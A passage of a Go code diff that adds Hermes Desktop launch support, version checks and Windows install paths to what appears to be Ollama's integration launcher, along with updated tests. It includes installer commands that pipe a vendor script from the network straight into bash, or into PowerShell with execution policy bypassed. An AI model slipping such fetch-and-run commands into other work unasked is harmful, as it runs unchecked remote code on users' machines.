t.Fatalf("Edit with empty models failed: %v", err)
}
@@ -359,7 +359,7 @@ func TestDroidEdit_DuplicateModels(t *testing.T) {
settingsPath := filepath.Join(settingsDir, "settings.json")
// Add same model twice
err := d.Edit([]string{"model-a", "model-a"})
err := d.Edit(testLaunchModels("model-a", "model-a"))
if err != nil {
t.Fatalf("Edit with duplicates failed: %v", err)
}
@@ -388,7 +388,7 @@ func TestDroidEdit_MalformedModelEntry(t *testing.T) {
// Model entry is a string instead of a map
os.WriteFile(settingsPath, []byte(`{"customModels": ["not a map", 123]}`), 0o644)
err := d.Edit([]string{"model-a"})
err := d.Edit(testLaunchModels("model-a"))
if err != nil {
t.Fatalf("Edit with malformed entries failed: %v", err)
}
@@ -415,7 +415,7 @@ func TestDroidEdit_WrongTypeSessionSettings(t *testing.T) {
// sessionDefaultSettings is a string instead of map
os.WriteFile(settingsPath, []byte(`{"sessionDefaultSettings": "not a map"}`), 0o644)
err := d.Edit([]string{"model-a"})
err := d.Edit(testLaunchModels("model-a"))
if err != nil {
t.Fatalf("Edit with wrong type sessionDefaultSettings failed: %v", err)
}
@@ -490,7 +490,7 @@ func TestDroidEdit_RoundTrip(t *testing.T) {
os.WriteFile(settingsPath, []byte(testDroidSettingsFixture), 0o644)
// Edit with new models
if err := d.Edit([]string{"llama3", "mistral"}); err != nil {
if err := d.Edit(testLaunchModels("llama3", "mistral")); err != nil {
t.Fatal(err)
}
@@ -615,7 +615,7 @@ func TestDroidEdit_PreservesUnknownFields(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -660,7 +660,7 @@ func TestDroidEdit_PreservesUnknownFields(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"llama3"}); err != nil {
if err := d.Edit(testLaunchModels("llama3")); err != nil {
t.Fatal(err)
}
@@ -715,10 +715,10 @@ func TestDroidEdit_Idempotent(t *testing.T) {
os.WriteFile(settingsPath, []byte(testDroidSettingsFixture), 0o644)
// Edit twice with same models
d.Edit([]string{"llama3", "mistral"})
d.Edit(testLaunchModels("llama3", "mistral"))
firstData, _ := os.ReadFile(settingsPath)
d.Edit([]string{"llama3", "mistral"})
d.Edit(testLaunchModels("llama3", "mistral"))
secondData, _ := os.ReadFile(settingsPath)
// Results should be identical
@@ -744,7 +744,7 @@ func TestDroidEdit_MultipleConsecutiveEdits(t *testing.T) {
if i%2 == 0 {
models = []string{"model-x", "model-y", "model-z"}
}
if err := d.Edit(models); err != nil {
if err := d.Edit(launchModelsFromNames(models)); err != nil {
t.Fatalf("edit %d failed: %v", i, err)
}
}
@@ -803,7 +803,7 @@ func TestDroidEdit_UnicodeAndSpecialCharacters(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -845,7 +845,7 @@ func TestDroidEdit_LargeNumbers(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -889,7 +889,7 @@ func TestDroidEdit_EmptyAndNullValues(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -943,7 +943,7 @@ func TestDroidEdit_DeeplyNestedStructures(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -988,7 +988,7 @@ func TestDroidEdit_ModelNamesWithSpecialCharacters(t *testing.T) {
"model_with_underscores",
}
if err := d.Edit(specialModels); err != nil {
if err := d.Edit(launchModelsFromNames(specialModels)); err != nil {
t.Fatal(err)
}
@@ -1025,7 +1025,7 @@ func TestDroidEdit_MissingCustomModelsKey(t *testing.T) {
t.Fatal(err)
}
settings = updateDroidSettings(settings, settingsStruct, []string{"model-a"})
settings = updateDroidSettings(settings, settingsStruct, testLaunchModels("model-a"))
// Original fields preserved
if settings["diffMode"] != "github" {
@@ -1062,7 +1062,7 @@ func TestDroidEdit_NullCustomModels(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -1090,7 +1090,7 @@ func TestDroidEdit_MinifiedJSON(t *testing.T) {
original := `{"diffMode":"github","enableHooks":true,"hooks":{"imported":["cmd1","cmd2"]},"customModels":[],"sessionDefaultSettings":{}}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -1120,7 +1120,7 @@ func TestDroidEdit_CreatesDirectoryIfMissing(t *testing.T) {
t.Fatal("directory should not exist before test")
}
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -1157,7 +1157,7 @@ func TestDroidEdit_PreservesFileAfterError(t *testing.T) {
os.WriteFile(settingsPath, []byte(original), 0o644)
// Empty models list is a no-op, should not modify file
d.Edit([]string{})
d.Edit(testLaunchModels())
data, _ := os.ReadFile(settingsPath)
if string(data) != original {
@@ -1181,7 +1181,7 @@ func TestDroidEdit_BackupCreated(t *testing.T) {
original := fmt.Sprintf(`{"diffMode": "%s", "customModels": [], "sessionDefaultSettings": {}}`, uniqueMarker)
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
@@ -1231,7 +1231,7 @@ func TestDroidEdit_LargeNumberOfModels(t *testing.T) {
models = append(models, fmt.Sprintf("model-%d", i))
}
if err := d.Edit(models); err != nil {
if err := d.Edit(launchModelsFromNames(models)); err != nil {
t.Fatal(err)
}
@@ -1261,7 +1261,7 @@ func TestDroidEdit_LocalModelDefaultMaxOutput(t *testing.T) {
settingsDir := filepath.Join(tmpDir, ".factory")
settingsPath := filepath.Join(settingsDir, "settings.json")
if err := d.Edit([]string{"llama3.2"}); err != nil {
if err := d.Edit(testLaunchModels("llama3.2")); err != nil {
t.Fatal(err)
}
@@ -1312,7 +1312,7 @@ func TestDroidEdit_ArraysWithMixedTypes(t *testing.T) {
}`
os.WriteFile(settingsPath, []byte(original), 0o644)
if err := d.Edit([]string{"model-a"}); err != nil {
if err := d.Edit(testLaunchModels("model-a")); err != nil {
t.Fatal(err)
}
+257 -22
View File
@@ -14,6 +14,7 @@ import (
"strconv"
"strings"
"golang.org/x/mod/semver"
"gopkg.in/yaml.v3"
"github.com/ollama/ollama/api"
@@ -23,7 +24,11 @@ import (
)
const (
hermesInstallScript = "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash -s -- --skip-setup"
// https://github.com/NousResearch/hermes-agent/releases/tag/v2026.6.5
hermesDesktopMinVersion = "v0.16.0"
hermesInstallScript = "curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash -s -- --skip-setup"
hermesWindowsInstallURL = "https://hermes-agent.nousresearch.com/install.ps1"
hermesWindowsInstallCmd = "& ([scriptblock]::Create((irm " + hermesWindowsInstallURL + "))) -SkipSetup"
hermesProviderName = "Ollama"
hermesProviderKey = "ollama-launch"
hermesLegacyKey = "ollama"
@@ -65,7 +70,7 @@ type Hermes struct{}
func (h *Hermes) String() string { return "Hermes Agent" }
func (h *Hermes) Run(_ string, args []string) error {
func (h *Hermes) Run(_ string, _ []LaunchModel, args []string) error {
// Hermes reads its primary model from config.yaml. launch configures that
// default model ahead of time so we can keep runtime invocation simple and
// still let Hermes discover additional models later via its own UX.
@@ -81,6 +86,177 @@ func (h *Hermes) Run(_ string, args []string) error {
return hermesAttachedCommand(bin, args...).Run()
}
type HermesDesktop struct {
Hermes
}
func (h *HermesDesktop) String() string { return "Hermes Desktop" }
func (h *HermesDesktop) Run(_ string, _ []LaunchModel, args []string) error {
bin, err := h.binary()
if err != nil {
return err
}
if err := h.ensureHermesDesktopMinVersion(bin); err != nil {
return err
}
return hermesAttachedCommand(bin, h.launchArgs(args)...).Run()
}
func (h *HermesDesktop) ensureHermesDesktopMinVersion(bin string) error {
if hermesGOOS == "windows" {
return nil
}
version := hermesVersionOf(bin)
if version == "" {
return nil
}
if semver.Compare(version, hermesDesktopMinVersion) >= 0 {
return nil
}
fmt.Fprintf(os.Stderr, "%sHermes %s is older than the minimum version (%s) for `hermes desktop`; updating...%s\n", ansiGray, version, hermesDesktopMinVersion, ansiReset)
if err := hermesAttachedCommand(bin, "update").Run(); err != nil {
return fmt.Errorf("failed to update hermes to %s or newer: %w", hermesDesktopMinVersion, err)
}
return nil
}
func hermesVersionOf(bin string) string {
out, err := hermesCommand(bin, "--version").Output()
if err != nil {
return ""
}
firstLine := strings.SplitN(strings.TrimSpace(string(out)), "\n", 2)[0]
return parseHermesVersion(firstLine)
}
func parseHermesVersion(firstLine string) string {
for _, field := range strings.Fields(firstLine) {
if semver.IsValid(field) {
return field
}
}
return ""
}
func (h *HermesDesktop) Onboard() error {
return config.MarkIntegrationOnboarded("hermes-desktop")
}
func (h *HermesDesktop) launchArgs(args []string) []string {
launchArgs := []string{"desktop"}
if h.shouldSkipDesktopBuild(args) {
launchArgs = append(launchArgs, "--skip-build")
}
return append(launchArgs, args...)
}
func (h *HermesDesktop) shouldSkipDesktopBuild(args []string) bool {
if hermesDesktopHasFlag(args, "--skip-build", "--source", "--build-only", "--help", "-h") {
return false
}
return h.packagedAppExists()
}
func (h *HermesDesktop) packagedAppExists() bool {
for _, root := range hermesDesktopReleaseRoots() {
for _, candidate := range hermesDesktopPackagedExecutableCandidates(root) {
if _, err := os.Stat(candidate); err == nil {
return true
}
}
}
return false
}
// These roots mirror Hermes' own install layout:
// install.sh uses ~/.hermes/hermes-agent for user installs and
// /usr/local/lib/hermes-agent for new Linux root installs; install.ps1
// and the bootstrap installer use %LOCALAPPDATA%\hermes\hermes-agent on
// Windows. HERMES_HOME and HERMES_INSTALL_DIR are installer-supported
// overrides.
func hermesDesktopReleaseRoots() []string {
var installRoots []string
add := func(path string) {
path = strings.TrimSpace(path)
if path == "" {
return
}
installRoots = append(installRoots, filepath.Clean(path))
}
if installDir := strings.TrimSpace(os.Getenv("HERMES_INSTALL_DIR")); installDir != "" {
add(installDir)
}
if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
add(filepath.Join(hermesHome, "hermes-agent"))
}
home, err := hermesUserHome()
if err == nil {
switch hermesGOOS {
case "windows":
if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
add(filepath.Join(localAppData, "hermes", "hermes-agent"))
}
add(filepath.Join(home, ".hermes", "hermes-agent"))
default:
add(filepath.Join(home, ".hermes", "hermes-agent"))
if hermesGOOS == "linux" {
add(filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent"))
}
}
}
seen := make(map[string]bool, len(installRoots))
releaseRoots := make([]string, 0, len(installRoots))
for _, root := range installRoots {
releaseRoot := filepath.Join(root, "apps", "desktop", "release")
if seen[releaseRoot] {
continue
}
seen[releaseRoot] = true
releaseRoots = append(releaseRoots, releaseRoot)
}
return releaseRoots
}
func hermesDesktopPackagedExecutableCandidates(releaseRoot string) []string {
switch hermesGOOS {
case "darwin":
matches, err := filepath.Glob(filepath.Join(releaseRoot, "mac*", "Hermes.app", "Contents", "MacOS", "Hermes"))
if err != nil {
return nil
}
return matches
case "windows":
return []string{
filepath.Join(releaseRoot, "win-unpacked", "Hermes.exe"),
filepath.Join(releaseRoot, "win-ia32-unpacked", "Hermes.exe"),
filepath.Join(releaseRoot, "win-arm64-unpacked", "Hermes.exe"),
}
default:
return []string{
filepath.Join(releaseRoot, "linux-unpacked", "hermes"),
filepath.Join(releaseRoot, "linux-unpacked", "Hermes"),
}
}
}
func hermesDesktopHasFlag(args []string, names ...string) bool {
for _, arg := range args {
if arg == "--" {
return false
}
for _, name := range names {
if arg == name {
return true
}
}
}
return false
}
func (h *Hermes) Paths() []string {
configPath, err := hermesConfigPath()
if err != nil {
@@ -183,22 +359,24 @@ func (h *Hermes) installed() bool {
}
func (h *Hermes) ensureInstalled() error {
return h.ensureInstalledFor("hermes")
}
func (h *Hermes) ensureInstalledFor(command string) error {
if h.installed() {
return nil
}
if hermesGOOS == "windows" {
return hermesWindowsHint()
}
var missing []string
for _, dep := range []string{"bash", "curl", "git"} {
if _, err := hermesLookPath(dep); err != nil {
missing = append(missing, dep)
if hermesGOOS != "windows" {
for _, dep := range []string{"bash", "curl", "git"} {
if _, err := hermesLookPath(dep); err != nil {
missing = append(missing, dep)
}
}
}
if len(missing) > 0 {
return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch hermes", strings.Join(missing, "\n "))
return fmt.Errorf("Hermes is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch %s", strings.Join(missing, "\n "), command)
}
ok, err := ConfirmPrompt("Hermes is not installed. Install now?")
@@ -210,7 +388,7 @@ func (h *Hermes) ensureInstalled() error {
}
fmt.Fprintf(os.Stderr, "\nInstalling Hermes...\n")
if err := hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run(); err != nil {
if err := h.runInstallScript(); err != nil {
return fmt.Errorf("failed to install hermes: %w", err)
}
@@ -222,6 +400,13 @@ func (h *Hermes) ensureInstalled() error {
return nil
}
func (h *Hermes) runInstallScript() error {
if hermesGOOS == "windows" {
return hermesAttachedCommand("powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", hermesWindowsInstallCmd).Run()
}
return hermesAttachedCommand("bash", "-lc", hermesInstallScript).Run()
}
func (h *Hermes) listModels(defaultModel string) []string {
client := hermesOllamaClient()
resp, err := client.List(context.Background())
@@ -259,7 +444,12 @@ func (h *Hermes) binary() (string, error) {
}
if hermesGOOS == "windows" {
return "", hermesWindowsHint()
for _, fallback := range hermesWindowsBinaryFallbacks() {
if _, err := os.Stat(fallback); err == nil {
return fallback, nil
}
}
return "", fmt.Errorf("hermes is not installed")
}
home, err := hermesUserHome()
@@ -274,12 +464,63 @@ func (h *Hermes) binary() (string, error) {
return "", fmt.Errorf("hermes is not installed")
}
func hermesConfigPath() (string, error) {
func hermesWindowsBinaryFallbacks() []string {
var roots []string
add := func(root string) {
root = strings.TrimSpace(root)
if root != "" {
roots = append(roots, filepath.Clean(root))
}
}
add(os.Getenv("HERMES_HOME"))
add(os.Getenv("LOCALAPPDATA"))
if home, err := hermesUserHome(); err == nil {
add(filepath.Join(home, "AppData", "Local"))
}
seen := make(map[string]bool, len(roots))
var fallbacks []string
for _, root := range roots {
if seen[root] {
continue
}
seen[root] = true
fallbacks = append(fallbacks, filepath.Join(root, "hermes-agent", "venv", "Scripts", "hermes.exe"))
if filepath.Base(root) != "hermes" {
fallbacks = append(fallbacks, filepath.Join(root, "hermes", "hermes-agent", "venv", "Scripts", "hermes.exe"))
}
}
return fallbacks
}
func hermesHomePath() (string, error) {
if hermesHome := strings.TrimSpace(os.Getenv("HERMES_HOME")); hermesHome != "" {
return filepath.Clean(hermesHome), nil
}
if hermesGOOS == "windows" {
if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
return filepath.Join(localAppData, "hermes"), nil
}
home, err := hermesUserHome()
if err != nil {
return "", err
}
return filepath.Join(home, "AppData", "Local", "hermes"), nil
}
home, err := hermesUserHome()
if err != nil {
return "", err
}
return filepath.Join(home, ".hermes", "config.yaml"), nil
return filepath.Join(home, ".hermes"), nil
}
func hermesConfigPath() (string, error) {
home, err := hermesHomePath()
if err != nil {
return "", err
}
return filepath.Join(home, "config.yaml"), nil
}
func hermesBaseURL() string {
@@ -287,11 +528,11 @@ func hermesBaseURL() string {
}
func hermesEnvPath() (string, error) {
home, err := hermesUserHome()
home, err := hermesHomePath()
if err != nil {
return "", err
}
return filepath.Join(home, ".hermes", ".env"), nil
return filepath.Join(home, ".env"), nil
}
func (h *Hermes) runGatewaySetupPreflight(args []string, runSetup func() error) error {
@@ -671,9 +912,3 @@ func hermesAttachedCommand(name string, args ...string) *exec.Cmd {
cmd.Stderr = os.Stderr
return cmd
}
func hermesWindowsHint() error {
return fmt.Errorf("Hermes on Windows requires WSL2. Install WSL with: wsl --install\n" +
"Then run 'ollama launch hermes' from inside your WSL shell.\n" +
"Docs: https://hermes-agent.nousresearch.com/docs/getting-started/installation/")
}
+393 -20
View File
@@ -8,6 +8,7 @@ import (
"os"
"path/filepath"
"runtime"
"slices"
"strings"
"testing"
@@ -65,6 +66,20 @@ func clearHermesMessagingEnvVars(t *testing.T) {
}
}
func clearHermesDesktopPackageEnvVars(t *testing.T) {
t.Helper()
for _, key := range []string{"HERMES_INSTALL_DIR", "HERMES_HOME", "LOCALAPPDATA"} {
if value, ok := os.LookupEnv(key); ok {
t.Setenv(key, value)
} else {
t.Setenv(key, "")
}
if err := os.Unsetenv(key); err != nil {
t.Fatalf("unset %s: %v", key, err)
}
}
}
func TestHermesIntegration(t *testing.T) {
h := &Hermes{}
@@ -408,19 +423,36 @@ func TestHermesConfigureMigratesLegacyManagedAliases(t *testing.T) {
func TestHermesPathsUsesLocalConfigPathForNativeWindowsHermes(t *testing.T) {
tmpDir := t.TempDir()
winHome := filepath.Join(tmpDir, "winhome")
localAppData := filepath.Join(tmpDir, "LocalAppData")
setTestHome(t, winHome)
withHermesPlatform(t, "windows")
withHermesUserHome(t, winHome)
t.Setenv("PATH", tmpDir)
t.Setenv("LOCALAPPDATA", localAppData)
writeFakeBinary(t, tmpDir, "hermes")
got := (&Hermes{}).Paths()
want := filepath.Join(winHome, ".hermes", "config.yaml")
want := filepath.Join(localAppData, "hermes", "config.yaml")
if len(got) != 1 || got[0] != want {
t.Fatalf("expected local config path %q, got %v", want, got)
}
}
func TestHermesPathsUsesHermesHomeOverride(t *testing.T) {
tmpDir := t.TempDir()
hermesHome := filepath.Join(tmpDir, "custom-hermes-home")
setTestHome(t, filepath.Join(tmpDir, "home"))
withHermesPlatform(t, "windows")
t.Setenv("HERMES_HOME", hermesHome)
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
got := (&Hermes{}).Paths()
want := filepath.Join(hermesHome, "config.yaml")
if len(got) != 1 || got[0] != want {
t.Fatalf("expected HERMES_HOME config path %q, got %v", want, got)
}
}
func TestHermesCurrentModelRequiresHealthyManagedConfig(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
@@ -552,7 +584,7 @@ func TestHermesRunPassthroughArgs(t *testing.T) {
}
h := &Hermes{}
if err := h.Run("", []string{"--continue"}); err != nil {
if err := h.Run("", nil, []string{"--continue"}); err != nil {
t.Fatalf("Run returned error: %v", err)
}
@@ -565,6 +597,314 @@ func TestHermesRunPassthroughArgs(t *testing.T) {
}
}
func writeHermesDesktopPackage(t *testing.T, home string) {
t.Helper()
writeHermesDesktopExecutable(t,
filepath.Join(home, ".hermes", "hermes-agent", "apps", "desktop", "release"),
hermesDesktopTestExecutableRelativePath(hermesGOOS),
)
}
func writeHermesDesktopExecutable(t *testing.T, releaseRoot, relative string) {
t.Helper()
path := filepath.Join(releaseRoot, relative)
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(path, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
t.Fatal(err)
}
}
func hermesDesktopTestExecutableRelativePath(goos string) string {
switch goos {
case "darwin":
return filepath.Join("mac-arm64", "Hermes.app", "Contents", "MacOS", "Hermes")
case "windows":
return filepath.Join("win-unpacked", "Hermes.exe")
default:
return filepath.Join("linux-unpacked", "hermes")
}
}
func writeHermesDesktopTestBinary(t *testing.T, dir string) {
t.Helper()
bin := filepath.Join(dir, "hermes")
if err := os.WriteFile(bin, []byte("#!/bin/sh\nif [ \"$1\" = \"--version\" ]; then\n printf 'Hermes Agent v0.16.0 (2026.6.5)\\n'\n exit 0\nfi\nprintf '[%s]\\n' \"$*\" >> \"$HOME/hermes-invocations.log\"\n"), 0o755); err != nil {
t.Fatal(err)
}
}
func readHermesDesktopInvocations(t *testing.T, home string) string {
t.Helper()
data, err := os.ReadFile(filepath.Join(home, "hermes-invocations.log"))
if err != nil {
t.Fatal(err)
}
return strings.TrimSpace(string(data))
}
func TestHermesDesktopRun(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses a POSIX shell test binary")
}
tests := []struct {
name string
goos string
args []string
hasPackage bool
clearPkgEnv bool
want string
}{
{
name: "desktop subcommand",
goos: "darwin",
args: []string{"--foreground"},
clearPkgEnv: true,
want: "[desktop --foreground]",
},
{
name: "skip build when packaged app exists",
goos: runtime.GOOS,
args: []string{"--cwd", "/tmp/project"},
hasPackage: true,
want: "[desktop --skip-build --cwd /tmp/project]",
},
{
name: "explicit skip build",
goos: runtime.GOOS,
args: []string{"--skip-build"},
hasPackage: true,
want: "[desktop --skip-build]",
},
{
name: "source mode",
goos: runtime.GOOS,
args: []string{"--source"},
hasPackage: true,
want: "[desktop --source]",
},
{
name: "build only",
goos: runtime.GOOS,
args: []string{"--build-only"},
hasPackage: true,
want: "[desktop --build-only]",
},
{
name: "help",
goos: runtime.GOOS,
args: []string{"--help"},
hasPackage: true,
want: "[desktop --help]",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
withLauncherHooks(t)
withInteractiveSession(t, true)
withHermesPlatform(t, tt.goos)
clearHermesMessagingEnvVars(t)
if tt.clearPkgEnv {
clearHermesDesktopPackageEnvVars(t)
}
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
if tt.hasPackage {
writeHermesDesktopPackage(t, tmpDir)
}
writeHermesDesktopTestBinary(t, tmpDir)
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
return false, nil
}
if err := (&HermesDesktop{}).Run("", nil, tt.args); err != nil {
t.Fatalf("Run returned error: %v", err)
}
if got := readHermesDesktopInvocations(t, tmpDir); got != tt.want {
t.Fatalf("expected %q, got %q", tt.want, got)
}
})
}
}
func writeHermesVersionedTestBinary(t *testing.T, dir, version string) {
t.Helper()
script := "#!/bin/sh\n" +
"case \"$1\" in\n" +
" --version)\n" +
" printf 'Hermes Agent " + version + " (test)\\n'\n" +
" ;;\n" +
" update)\n" +
" printf 'update\\n' >> \"$HOME/hermes-update.log\"\n" +
" ;;\n" +
" *)\n" +
" printf '[%s]\\n' \"$*\" >> \"$HOME/hermes-invocations.log\"\n" +
" ;;\n" +
"esac\n"
bin := filepath.Join(dir, "hermes")
if err := os.WriteFile(bin, []byte(script), 0o755); err != nil {
t.Fatal(err)
}
}
func TestParseHermesVersion(t *testing.T) {
tests := []struct {
name string
input string
want string
}{
{"standard release", "Hermes Agent v0.16.0 (2026.6.5)", "v0.16.0"},
{"newer release", "Hermes Agent v0.17.0 (2026.6.19)", "v0.17.0"},
{"older release", "Hermes Agent v0.15.1 (2026.5.29)", "v0.15.1"},
{"prerelease", "Hermes Agent v0.16.0-rc1 (2026.6.5)", "v0.16.0-rc1"},
{"no version token", "Hermes Agent", ""},
{"empty", "", ""},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := parseHermesVersion(tt.input); got != tt.want {
t.Fatalf("parseHermesVersion(%q) = %q, want %q", tt.input, got, tt.want)
}
})
}
}
func TestHermesDesktopRun_UpdatesCliOlderThanMinVersion(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses a POSIX shell test binary")
}
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
withLauncherHooks(t)
withInteractiveSession(t, true)
withHermesPlatform(t, runtime.GOOS)
clearHermesMessagingEnvVars(t)
clearHermesDesktopPackageEnvVars(t)
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
writeHermesVersionedTestBinary(t, tmpDir, "v0.15.1")
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
return false, nil
}
if err := (&HermesDesktop{}).Run("", nil, []string{"--foreground"}); err != nil {
t.Fatalf("Run returned error: %v", err)
}
updateLog, err := os.ReadFile(filepath.Join(tmpDir, "hermes-update.log"))
if err != nil {
t.Fatalf("expected hermes update to run for an older CLI: %v", err)
}
if strings.TrimSpace(string(updateLog)) != "update" {
t.Fatalf("expected update log 'update', got %q", updateLog)
}
if got := readHermesDesktopInvocations(t, tmpDir); got != "[desktop --foreground]" {
t.Fatalf("expected desktop launch after update, got %q", got)
}
}
func TestHermesDesktopRun_SkipsMinVersionCheckOnWindows(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses a POSIX shell test binary")
}
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
withLauncherHooks(t)
withInteractiveSession(t, true)
withHermesPlatform(t, "windows")
clearHermesMessagingEnvVars(t)
clearHermesDesktopPackageEnvVars(t)
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
writeHermesVersionedTestBinary(t, tmpDir, "v0.15.1")
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
return false, nil
}
if err := (&HermesDesktop{}).Run("", nil, []string{"--foreground"}); err != nil {
t.Fatalf("Run returned error: %v", err)
}
if _, err := os.Stat(filepath.Join(tmpDir, "hermes-update.log")); err == nil {
t.Fatal("expected hermes update NOT to run on Windows, but hermes-update.log exists")
}
if got := readHermesDesktopInvocations(t, tmpDir); got != "[desktop --foreground]" {
t.Fatalf("expected desktop launch without update, got %q", got)
}
}
func TestHermesDesktopRun_DoesNotUpdateCliAtOrAboveMinVersion(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses a POSIX shell test binary")
}
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
withLauncherHooks(t)
withInteractiveSession(t, true)
withHermesPlatform(t, runtime.GOOS)
clearHermesMessagingEnvVars(t)
clearHermesDesktopPackageEnvVars(t)
t.Setenv("PATH", tmpDir+string(os.PathListSeparator)+os.Getenv("PATH"))
writeHermesVersionedTestBinary(t, tmpDir, "v0.17.0")
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
t.Fatalf("did not expect messaging prompt during desktop launch: %s", prompt)
return false, nil
}
if err := (&HermesDesktop{}).Run("", nil, []string{"--foreground"}); err != nil {
t.Fatalf("Run returned error: %v", err)
}
if _, err := os.Stat(filepath.Join(tmpDir, "hermes-update.log")); err == nil {
t.Fatal("expected hermes update NOT to run for a current CLI, but hermes-update.log exists")
}
if got := readHermesDesktopInvocations(t, tmpDir); got != "[desktop --foreground]" {
t.Fatalf("expected desktop launch without update, got %q", got)
}
}
func TestHermesDesktopRunUsesWindowsLocalAppDataPackage(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
withHermesPlatform(t, "windows")
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
writeHermesDesktopExecutable(t,
filepath.Join(tmpDir, "LocalAppData", "hermes", "hermes-agent", "apps", "desktop", "release"),
hermesDesktopTestExecutableRelativePath("windows"),
)
got := (&HermesDesktop{}).launchArgs([]string{"--cwd", `C:\Users\me\project`})
want := []string{"desktop", "--skip-build", "--cwd", `C:\Users\me\project`}
if diff := compareStrings(got, want); diff != "" {
t.Fatalf("Hermes Desktop launch args mismatch: %s", diff)
}
}
func TestHermesDesktopReleaseRootsIncludeLinuxRootInstall(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
withHermesPlatform(t, "linux")
got := hermesDesktopReleaseRoots()
want := filepath.Join(string(filepath.Separator), "usr", "local", "lib", "hermes-agent", "apps", "desktop", "release")
if !slices.Contains(got, want) {
t.Fatalf("expected Linux root install release path %q in %v", want, got)
}
}
func TestHermesRun_PromptsForMessagingSetupBeforeDefaultLaunch(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses a POSIX shell test binary")
@@ -603,7 +943,7 @@ fi
}
h := &Hermes{}
if err := h.Run("", nil); err != nil {
if err := h.Run("", nil, nil); err != nil {
t.Fatalf("Run returned error: %v", err)
}
@@ -655,10 +995,10 @@ func TestHermesRun_SetUpLaterRepromptsOnLaterLaunches(t *testing.T) {
}
h := &Hermes{}
if err := h.Run("", nil); err != nil {
if err := h.Run("", nil, nil); err != nil {
t.Fatalf("first Run returned error: %v", err)
}
if err := h.Run("", nil); err != nil {
if err := h.Run("", nil, nil); err != nil {
t.Fatalf("second Run returned error: %v", err)
}
@@ -713,7 +1053,7 @@ func TestHermesRun_SkipsMessagingPromptWhenConfigured(t *testing.T) {
}
h := &Hermes{}
if err := h.Run("", nil); err != nil {
if err := h.Run("", nil, nil); err != nil {
t.Fatalf("Run returned error: %v", err)
}
@@ -753,7 +1093,7 @@ func TestHermesRun_SkipsMessagingPromptWithYesPolicy(t *testing.T) {
}
h := &Hermes{}
if err := h.Run("", nil); err != nil {
if err := h.Run("", nil, nil); err != nil {
